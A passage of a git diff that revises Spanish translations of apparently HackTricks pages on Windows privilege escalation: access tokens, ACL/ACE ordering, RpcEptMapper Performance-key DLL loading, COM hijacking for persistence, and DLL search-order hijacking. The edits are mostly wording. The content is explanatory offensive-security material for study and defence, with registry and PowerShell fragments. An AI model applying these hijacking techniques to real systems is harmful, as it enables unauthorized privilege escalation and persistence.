 - **Identificación**: Permite al servidor verificar la identidad del cliente sin utilizarla para el acceso a objetos.
-- **Suplantación**: Permite al servidor operar bajo la identidad del cliente.
+- **Suplantación**: Habilita al servidor para operar bajo la identidad del cliente.
 - **Delegación**: Similar a la Suplantación, pero incluye la capacidad de extender esta asunción de identidad a sistemas remotos con los que el servidor interactúa, asegurando la preservación de credenciales.
 
 #### Tokens de Suplantación
diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
index 0ab0c0b7b..afe897b33 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
@@ -34,9 +34,9 @@ La Autoridad de Seguridad Local (LSASS) procesa las solicitudes de acceso a obje
 
 Hay **tres tipos principales de Entradas de Control de Acceso (ACEs)**:
 
-- **ACE de Acceso Denegado**: Esta ACE deniega explícitamente el acceso a un objeto para usuarios o grupos especificados (en una DACL).
-- **ACE de Acceso Permitido**: Esta ACE otorga explícitamente acceso a un objeto para usuarios o grupos especificados (en una DACL).
-- **ACE de Auditoría del Sistema**: Situada dentro de una Lista de Control de Acceso del Sistema (SACL), esta ACE es responsable de generar registros de auditoría ante intentos de acceso a un objeto por parte de usuarios o grupos. Documenta si se permitió o denegó el acceso y la naturaleza del acceso.
+- **ACE de Acceso Denegado:** Esta ACE deniega explícitamente el acceso a un objeto para usuarios o grupos especificados (en una DACL).
+- **ACE de Acceso Permitido:** Esta ACE otorga explícitamente acceso a un objeto para usuarios o grupos especificados (en una DACL).
+- **ACE de Auditoría del Sistema:** Situada dentro de una Lista de Control de Acceso del Sistema (SACL), esta ACE es responsable de generar registros de auditoría ante intentos de acceso a un objeto por parte de usuarios o grupos. Documenta si el acceso fue permitido o denegado y la naturaleza del acceso.
 
 Cada ACE tiene **cuatro componentes críticos**:
 
@@ -55,22 +55,22 @@ La determinación de acceso se lleva a cabo examinando secuencialmente cada ACE
 
 La forma en que se colocan las **ACEs** (reglas que dicen quién puede o no acceder a algo) en una lista llamada **DACL** es muy importante. Esto se debe a que una vez que el sistema concede o deniega acceso basado en estas reglas, deja de mirar el resto.
 
-Hay una mejor manera de organizar estas ACEs, y se llama **"orden canónico."** Este método ayuda a asegurar que todo funcione de manera fluida y justa. Así es como se aplica para sistemas como **Windows 2000** y **Windows Server 2003**:
+Hay una mejor manera de organizar estas ACEs, y se llama **"orden canónico."** Este método ayuda a asegurar que todo funcione sin problemas y de manera justa. Así es como se aplica para sistemas como **Windows 2000** y **Windows Server 2003**:
 
-- Primero, coloca todas las reglas que están hechas **específicamente para este elemento** antes de las que provienen de otro lugar, como una carpeta padre.
-- En esas reglas específicas, coloca las que dicen **"no" (denegar)** antes de las que dicen **"sí" (permitir)**.
+- Primero, coloca todas las reglas que se hacen **específicamente para este elemento** antes que las que provienen de otro lugar, como una carpeta padre.
+- En esas reglas específicas, coloca las que dicen **"no" (denegar)** antes que las que dicen **"sí" (permitir)**.
 - Para las reglas que provienen de otro lugar, comienza con las que vienen de la **fuente más cercana**, como la carpeta padre, y luego retrocede desde allí. Nuevamente, coloca **"no"** antes de **"sí."**
 
-Esta configuración ayuda en dos grandes maneras:
+Esta configuración ayuda de dos maneras importantes:
 
 - Asegura que si hay un **"no"** específico, se respete, sin importar qué otras reglas de **"sí"** existan.
-- Permite que el propietario de un elemento tenga la **última palabra** sobre quién puede entrar, antes de que se apliquen las reglas de carpetas padres o más atrás.
+- Permite que el propietario de un elemento tenga la **última palabra** sobre quién puede entrar, antes de que se apliquen las reglas de carpetas padres o más lejanas.
 
 Al hacer las cosas de esta manera, el propietario de un archivo o carpeta puede ser muy preciso sobre quién obtiene acceso, asegurando que las personas adecuadas puedan entrar y las incorrectas no.
 
 ![](https://www.ntfs.com/images/screenshots/ACEs.gif)
 
-Así que, este **"orden canónico"** se trata de asegurar que las reglas de acceso sean claras y funcionen bien, poniendo primero las reglas específicas y organizando todo de manera inteligente.
+Así que, este **"orden canónico"** se trata de asegurar que las reglas de acceso sean claras y funcionen bien, colocando reglas específicas primero y organizando todo de manera inteligente.
 
 ### Ejemplo de GUI
 
@@ -80,7 +80,7 @@ Esta es la pestaña de seguridad clásica de una carpeta que muestra la ACL, DAC
 
 ![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../images/classicsectab.jpg)
 
-Si hacemos clic en el **botón Avanzado**, obtendremos más opciones como la herencia:
+Si hacemos clic en el **botón Avanzado**, obtendremos más opciones como herencia:
 
 ![http://secureidentity.se/wp-content/uploads/2014/04/aceinheritance.jpg](../../images/aceinheritance.jpg)
 
@@ -98,18 +98,18 @@ Al gestionar el acceso a recursos, como una carpeta, utilizamos listas y reglas
 
 #### Denegando Acceso a un Grupo Específico
 
-Imagina que tienes una carpeta llamada Cost, y quieres que todos tengan acceso a ella excepto al equipo de marketing. Al establecer las reglas correctamente, podemos asegurarnos de que al equipo de marketing se le deniegue explícitamente el acceso antes de permitir a todos los demás. Esto se hace colocando la regla para denegar el acceso al equipo de marketing antes de la regla que permite el acceso a todos.
+Imagina que tienes una carpeta llamada Cost, y quieres que todos tengan acceso excepto el equipo de marketing. Al establecer las reglas correctamente, podemos asegurarnos de que al equipo de marketing se le deniegue explícitamente el acceso antes de permitir a todos los demás. Esto se hace colocando la regla para denegar el acceso al equipo de marketing antes de la regla que permite el acceso a todos.
 
-#### Permitiendo Acceso a un Miembro Específico de un Grupo Denegado
+#### Permitindo Acceso a un Miembro Específico de un Grupo Denegado
 
 Supongamos que Bob, el director de marketing, necesita acceso a la carpeta Cost, aunque el equipo de marketing en general no debería tener acceso. Podemos agregar una regla específica (ACE) para Bob que le otorgue acceso, y colocarla antes de la regla que deniega el acceso al equipo de marketing. De esta manera, Bob obtiene acceso a pesar de la restricción general sobre su equipo.
 
 #### Entendiendo las Entradas de Control de Acceso
 
-Las ACEs son las reglas individuales en una ACL. Identifican a los usuarios o grupos, especifican qué acceso se permite o se deniega, y determinan cómo se aplican estas reglas a los subelementos (herencia). Hay dos tipos principales de ACEs:
+Las ACEs son las reglas individuales en una ACL. Identifican usuarios o grupos, especifican qué acceso se permite o se deniega, y determinan cómo se aplican estas reglas a sub-elementos (herencia). Hay dos tipos principales de ACEs:
 
-- **ACEs Genéricas**: Estas se aplican de manera amplia, afectando a todos los tipos de objetos o distinguiendo solo entre contenedores (como carpetas) y no contenedores (como archivos). Por ejemplo, una regla que permite a los usuarios ver el contenido de una carpeta pero no acceder a los archivos dentro de ella.
-- **ACEs Específicas de Objeto**: Estas proporcionan un control más preciso, permitiendo establecer reglas para tipos específicos de objetos o incluso propiedades individuales dentro de un objeto. Por ejemplo, en un directorio de usuarios, una regla podría permitir a un usuario actualizar su número de teléfono pero no sus horas de inicio de sesión.
+- **ACEs Genéricas:** Estas se aplican de manera amplia, afectando a todos los tipos de objetos o distinguiendo solo entre contenedores (como carpetas) y no contenedores (como archivos). Por ejemplo, una regla que permite a los usuarios ver el contenido de una carpeta pero no acceder a los archivos dentro de ella.
+- **ACEs Específicas de Objeto:** Estas proporcionan un control más preciso, permitiendo establecer reglas para tipos específicos de objetos o incluso propiedades individuales dentro de un objeto. Por ejemplo, en un directorio de usuarios, una regla podría permitir a un usuario actualizar su número de teléfono pero no sus horas de inicio de sesión.
 
 Cada ACE contiene información importante como a quién se aplica la regla (usando un Identificador de Seguridad o SID), qué permite o deniega la regla (usando una máscara de acceso), y cómo se hereda por otros objetos.
 
@@ -120,28 +120,28 @@ Cada ACE contiene información importante como a quién se aplica la regla (usan
 
 En resumen, las ACLs y ACEs ayudan a definir controles de acceso precisos, asegurando que solo los individuos o grupos correctos tengan acceso a información o recursos sensibles, con la capacidad de personalizar los derechos de acceso hasta el nivel de propiedades individuales o tipos de objetos.
 
-### Diseño de Entrada de Control de Acceso
+### Diseño de la Entrada de Control de Acceso
 
 | Campo ACE   | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
 | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | Tipo        | Bandera que indica el tipo de ACE. Windows 2000 y Windows Server 2003 admiten seis tipos de ACE: Tres tipos de ACE genéricos que están adjuntos a todos los objetos asegurables. Tres tipos de ACE específicos de objeto que pueden ocurrir para objetos de Active Directory.                                                                                                                                                                                                                                                            |
 | Banderas    | Conjunto de banderas de bits que controlan la herencia y la auditoría.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
 | Tamaño      | Número de bytes de memoria que se asignan para la ACE.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| Máscara de acceso | Valor de 32 bits cuyos bits corresponden a los derechos de acceso para el objeto. Los bits pueden estar activados o desactivados, pero el significado de la configuración depende del tipo de ACE. Por ejemplo, si el bit que corresponde al derecho a leer permisos está activado, y el tipo de ACE es Denegar, la ACE deniega el derecho a leer los permisos del objeto. Si el mismo bit está activado pero el tipo de ACE es Permitir, la ACE otorga el derecho a leer los permisos del objeto. Más detalles de la máscara de acceso aparecen en la siguiente tabla. |
+| Máscara de acceso | Valor de 32 bits cuyos bits corresponden a los derechos de acceso para el objeto. Los bits pueden estar activados o desactivados, pero el significado de la configuración depende del tipo de ACE. Por ejemplo, si el bit que corresponde al derecho a leer permisos está activado, y el tipo de ACE es Denegar, la ACE deniega el derecho a leer los permisos del objeto. Si el mismo bit está activado pero el tipo de ACE es Permitir, la ACE otorga el derecho a leer los permisos del objeto. Más detalles de la Máscara de acceso aparecen en la siguiente tabla. |
 | SID         | Identifica a un usuario o grupo cuyo acceso es controlado o monitoreado por esta ACE.                                                                                                                                                                                                                                                                                                                                                                                                                                 |
 
-### Diseño de Máscara de Acceso
+### Diseño de la Máscara de Acceso
 
-| Bit (Rango) | Significado                        | Descripción/Ejemplo                       |
+| Bit (Rango) | Significado                            | Descripción/Ejemplo                       |
 | ----------- | ---------------------------------- | ----------------------------------------- |
-| 0 - 15      | Derechos de Acceso Específicos del Objeto | Leer datos, Ejecutar, Agregar datos       |
-| 16 - 22     | Derechos de Acceso Estándar       | Eliminar, Escribir ACL, Escribir Propietario |
-| 23          | Puede acceder a la ACL de seguridad |                                           |
-| 24 - 27     | Reservado                          |                                           |
+| 0 - 15      | Derechos de Acceso Específicos del Objeto      | Leer datos, Ejecutar, Agregar datos           |
+| 16 - 22     | Derechos de Acceso Estándar             | Eliminar, Escribir ACL, Escribir Propietario            |
+| 23          | Puede acceder a la ACL de seguridad            |                                           |
+| 24 - 27     | Reservado                           |                                           |
 | 28          | Genérico TODO (Leer, Escribir, Ejecutar) | Todo lo de abajo                          |
-| 29          | Genérico Ejecutar                  | Todas las cosas necesarias para ejecutar un programa |
-| 30          | Genérico Escribir                  | Todas las cosas necesarias para escribir en un archivo |
-| 31          | Genérico Leer                      | Todas las cosas necesarias para leer un archivo |
+| 29          | Genérico Ejecutar                    | Todas las cosas necesarias para ejecutar un programa |
+| 30          | Genérico Escribir                      | Todas las cosas necesarias para escribir en un archivo   |
+| 31          | Genérico Leer                       | Todas las cosas necesarias para leer un archivo       |
 
 ## Referencias
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
index 86607b06c..d3163fba5 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
@@ -17,7 +17,7 @@ Se observó la incapacidad de modificar ciertos valores directamente, pero la ca
 
 A pesar de estas limitaciones, se identificó un potencial para la escalada de privilegios a través de la posibilidad de aprovechar la subclave **Performance** dentro de la estructura de registro del servicio **RpcEptMapper**, una subclave que no está presente por defecto. Esto podría permitir el registro de DLL y la monitorización del rendimiento.
 
-Se consultó la documentación sobre la subclave **Performance** y su utilización para la monitorización del rendimiento, lo que llevó al desarrollo de una DLL de prueba de concepto. Esta DLL, que demuestra la implementación de las funciones **OpenPerfData**, **CollectPerfData** y **ClosePerfData**, fue probada a través de **rundll32**, confirmando su éxito operativo.
+Se consultó documentación sobre la subclave **Performance** y su utilización para la monitorización del rendimiento, lo que llevó al desarrollo de una DLL de prueba de concepto. Esta DLL, que demuestra la implementación de las funciones **OpenPerfData**, **CollectPerfData** y **ClosePerfData**, fue probada a través de **rundll32**, confirmando su éxito operativo.
 
 El objetivo era forzar al **servicio de Mapeo de Puntos de Finalización RPC** a cargar la DLL de rendimiento creada. Las observaciones revelaron que la ejecución de consultas de clase WMI relacionadas con Datos de Rendimiento a través de PowerShell resultó en la creación de un archivo de registro, lo que permitió la ejecución de código arbitrario bajo el contexto de **SISTEMA LOCAL**, otorgando así privilegios elevados.
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index d2075f098..e0eba9e14 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -4,7 +4,7 @@
 
 ### Búsqueda de componentes COM no existentes
 
-Dado que los valores de HKCU pueden ser modificados por los usuarios, **COM Hijacking** podría ser utilizado como un **mecanismo persistente**. Usando `procmon` es fácil encontrar registros COM buscados que no existen y que un atacante podría crear para persistir. Filtros:
+Dado que los valores de HKCU pueden ser modificados por los usuarios, **COM Hijacking** podría ser utilizado como un **mecanismo persistente**. Usando `procmon`, es fácil encontrar registros COM buscados que no existen y que un atacante podría crear para persistir. Filtros:
 
 - Operaciones de **RegOpenKey**.
 - donde el _Resultado_ es **NOMBRE NO ENCONTRADO**.
@@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
 ```
 ### Componentes COM del Programador de Tareas que se pueden secuestrar
 
-Las Tareas de Windows utilizan Disparadores Personalizados para llamar a objetos COM y, debido a que se ejecutan a través del Programador de Tareas, es más fácil predecir cuándo se activarán.
+Las Tareas de Windows utilizan Disparadores Personalizados para llamar a objetos COM y, dado que se ejecutan a través del Programador de Tareas, es más fácil predecir cuándo se activarán.
 
 <pre class="language-powershell"><code class="lang-powershell"># Mostrar CLSIDs de COM
 $Tasks = Get-ScheduledTask
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
index 0c9246214..0b2bc7915 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
@@ -16,8 +16,8 @@ Se emplean varios métodos para el DLL hijacking, cada uno con su efectividad de
 2. **Secuestro del Orden de Búsqueda de DLL**: Colocar el DLL malicioso en una ruta de búsqueda antes del legítimo, explotando el patrón de búsqueda de la aplicación.
 3. **Secuestro de DLL Fantasma**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe.
 4. **Redirección de DLL**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso.
-5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por uno malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
-6. **Secuestro de DLL de Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Binary Proxy Execution.
+5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
+6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Binary Proxy Execution.
 
 ## Encontrando DLLs Faltantes
 
@@ -31,12 +31,12 @@ y solo mostrar la **Actividad del Sistema de Archivos**:
 
 ![](<../../images/image (314).png>)
 
-Si estás buscando **DLLs faltantes en general**, debes **dejar** esto funcionando por algunos **segundos**.\
-Si estás buscando un **DLL faltante dentro de un ejecutable específico**, deberías establecer **otro filtro como "Process Name" "contains" "\<exec name>", ejecutarlo y detener la captura de eventos**.
+Si estás buscando **dlls faltantes en general**, debes **dejar** esto funcionando por algunos **segundos**.\
+Si estás buscando un **dll faltante dentro de un ejecutable específico**, deberías establecer **otro filtro como "Process Name" "contains" "\<exec name>", ejecutarlo y detener la captura de eventos**.
 
 ## Explotando DLLs Faltantes
 
-Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un DLL que un proceso privilegiado intentará cargar** en algún **lugar donde se va a buscar**. Por lo tanto, podremos **escribir** un DLL en una **carpeta** donde el **DLL se busca antes** de la carpeta donde se encuentra el **DLL original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el DLL** y el **DLL original no existe** en ninguna carpeta.
+Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un dll que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un dll en una **carpeta** donde el **dll se busca antes** de la carpeta donde se encuentra el **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el dll** y el **dll original no existe** en ninguna carpeta.
 
 ### Orden de Búsqueda de DLL
 
@@ -52,23 +52,23 @@ Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuaci
 4. El directorio de Windows. Usa la función [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) para obtener la ruta de este directorio.
 1. (_C:\Windows_)
 5. El directorio actual.
-6. Los directorios que se enumeran en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL.
+6. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL.
 
-Ese es el **orden de búsqueda** **predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
+Ese es el **orden de búsqueda** predeterminado con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
 
 Si se llama a la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que **LoadLibraryEx** está cargando.
 
-Finalmente, ten en cuenta que **un DLL podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese DLL **solo se buscará en esa ruta** (si el DLL tiene dependencias, se buscarán como si se cargaran solo por nombre).
+Finalmente, ten en cuenta que **un dll podría ser cargado indicando la ruta absoluta en lugar de solo el nombre**. En ese caso, ese dll **solo se va a buscar en esa ruta** (si el dll tiene alguna dependencia, se buscarán como si se cargaran solo por nombre).
 
 Hay otras formas de alterar el orden de búsqueda, pero no voy a explicarlas aquí.
 
-#### Excepciones en el orden de búsqueda de DLL según la documentación de Windows
+#### Excepciones en el orden de búsqueda de dll según la documentación de Windows
 
 Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la documentación de Windows:
 
 - Cuando se encuentra un **DLL que comparte su nombre con uno ya cargado en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una verificación de redirección y un manifiesto antes de recurrir al DLL ya en memoria. **En este escenario, el sistema no realiza una búsqueda del DLL**.
 - En casos donde el DLL es reconocido como un **DLL conocido** para la versión actual de Windows, el sistema utilizará su versión del DLL conocido, junto con cualquiera de sus DLLs dependientes, **omitindo el proceso de búsqueda**. La clave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estos DLLs conocidos.
-- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se lleva a cabo como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial se identificó a través de una ruta completa.
+- Si un **DLL tiene dependencias**, la búsqueda de estos DLLs dependientes se realiza como si se indicaran solo por sus **nombres de módulo**, independientemente de si el DLL inicial fue identificado a través de una ruta completa.
 
 ### Escalando Privilegios
 
@@ -77,8 +77,8 @@ Ciertas excepciones al orden de búsqueda estándar de DLL se mencionan en la do
 - Identificar un proceso que opere o operará bajo **diferentes privilegios** (movimiento horizontal o lateral), que **carezca de un DLL**.
 - Asegurarse de que hay **acceso de escritura** disponible para cualquier **directorio** en el que se **buscará el DLL**. Esta ubicación podría ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.
 
-Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que carezca de un DLL** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados, esto es posible.\
-En el caso de que tengas suerte y cumplas con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un Dll hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
+Sí, los requisitos son complicados de encontrar ya que **por defecto es un poco extraño encontrar un ejecutable privilegiado que carezca de un dll** y es aún **más extraño tener permisos de escritura en una carpeta de ruta del sistema** (no puedes por defecto). Pero, en entornos mal configurados esto es posible.\
+En el caso de que tengas suerte y te encuentres cumpliendo con los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es eludir UAC**, puedes encontrar allí un **PoC** de un Dll hijacking para la versión de Windows que puedes usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
 
 Ten en cuenta que puedes **verificar tus permisos en una carpeta** haciendo:
 ```bash
@@ -107,7 +107,7 @@ Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad
 
 ### Ejemplo
 
-En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad media a alta **(eludiendo UAC)**](../authentication-credentials-uac-and-efs.md#uac) o de [**alta integridad a SYSTEM**](./#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
+En caso de que encuentres un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear un dll que exporte al menos todas las funciones que el ejecutable importará de él**. De todos modos, ten en cuenta que Dll Hijacking es útil para [escalar de nivel de integridad medio a alto **(eludiendo UAC)**](../authentication-credentials-uac-and-efs.md#uac) o de [**alta integridad a SYSTEM**](./#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear un dll válido** dentro de este estudio de dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
 Además, en la **siguiente sección** puedes encontrar algunos **códigos dll básicos** que podrían ser útiles como **plantillas** o para crear un **dll con funciones no requeridas exportadas**.
 
 ## **Creando y compilando Dlls**
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
index 914c6b4ae..cbe0f10e6 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
@@ -2,26 +2,20 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
-
-**Consejo de recompensas por errores**: **regístrate** en **Intigriti**, ¡una plataforma de **recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
 ## Información Básica
 
-El DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, logrando persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos.
+El DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, lograr persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos.
 
 ### Técnicas Comunes
 
 Se emplean varios métodos para el DLL hijacking, cada uno con su efectividad dependiendo de la estrategia de carga de DLL de la aplicación:
 
-1. **Reemplazo de DLL**: Intercambiar un DLL genuino por uno malicioso, opcionalmente utilizando DLL Proxying para preservar la funcionalidad del DLL original.
+1. **Reemplazo de DLL**: Intercambiar un DLL genuino por uno malicioso, utilizando opcionalmente DLL Proxying para preservar la funcionalidad del DLL original.
 2. **Secuestro del Orden de Búsqueda de DLL**: Colocar el DLL malicioso en una ruta de búsqueda antes del legítimo, explotando el patrón de búsqueda de la aplicación.
 3. **Secuestro de DLL Fantasma**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe.
 4. **Redirección de DLL**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso.
-5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
-6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario con la aplicación copiada, pareciendo técnicas de Ejecución de Proxy Binario.
+5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por uno malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL.
+6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Ejecución de Proxy Binario.
 
 ## Encontrando DLLs Faltantes
 
@@ -40,13 +34,13 @@ Si estás buscando una **DLL faltante dentro de un ejecutable específico**, deb
 
 ## Explotando DLLs Faltantes
 
-Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un DLL que un proceso privilegiado intentará cargar** en algún **lugar donde se va a buscar**. Por lo tanto, podremos **escribir** un DLL en una **carpeta** donde el **DLL se busca antes** de la carpeta donde se encuentra el **DLL original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el DLL** y el **DLL original no existe** en ninguna carpeta.
+Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir un DLL que un proceso privilegiado intentará cargar** en alguno de **los lugares donde se va a buscar**. Por lo tanto, podremos **escribir** un DLL en una **carpeta** donde el **DLL se busca antes** de la carpeta donde se encuentra el **DLL original** (caso extraño), o podremos **escribir en alguna carpeta donde se va a buscar el DLL** y el **DLL original no existe** en ninguna carpeta.
 
 ### Orden de Búsqueda de DLL
 
 **Dentro de la** [**documentación de Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puedes encontrar cómo se cargan específicamente los DLLs.**
 
-**Las aplicaciones de Windows** buscan DLLs siguiendo un conjunto de **rutas de búsqueda predefinidas**, adhiriéndose a una secuencia particular. El problema del DLL hijacking surge cuando un DLL dañino se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que el DLL auténtico. Una solución para prevenir esto es asegurarse de que la aplicación utilice rutas absolutas al referirse a los DLLs que necesita.
+**Las aplicaciones de Windows** buscan DLLs siguiendo un conjunto de **rutas de búsqueda predefinidas**, adhiriéndose a una secuencia particular. El problema del DLL hijacking surge cuando un DLL dañino se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que el DLL auténtico. Una solución para prevenir esto es asegurarse de que la aplicación use rutas absolutas al referirse a los DLLs que necesita.
 
 Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuación:
 
@@ -57,9 +51,9 @@ Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuaci
 5. El directorio actual.
 6. Los directorios que están listados en la variable de entorno PATH. Ten en cuenta que esto no incluye la ruta por aplicación especificada por la clave de registro **App Paths**. La clave **App Paths** no se utiliza al calcular la ruta de búsqueda de DLL.
 
-Ese es el **orden de búsqueda predeterminado** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende al segundo lugar. Para deshabilitar esta función, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo en 0 (el valor predeterminado está habilitado).
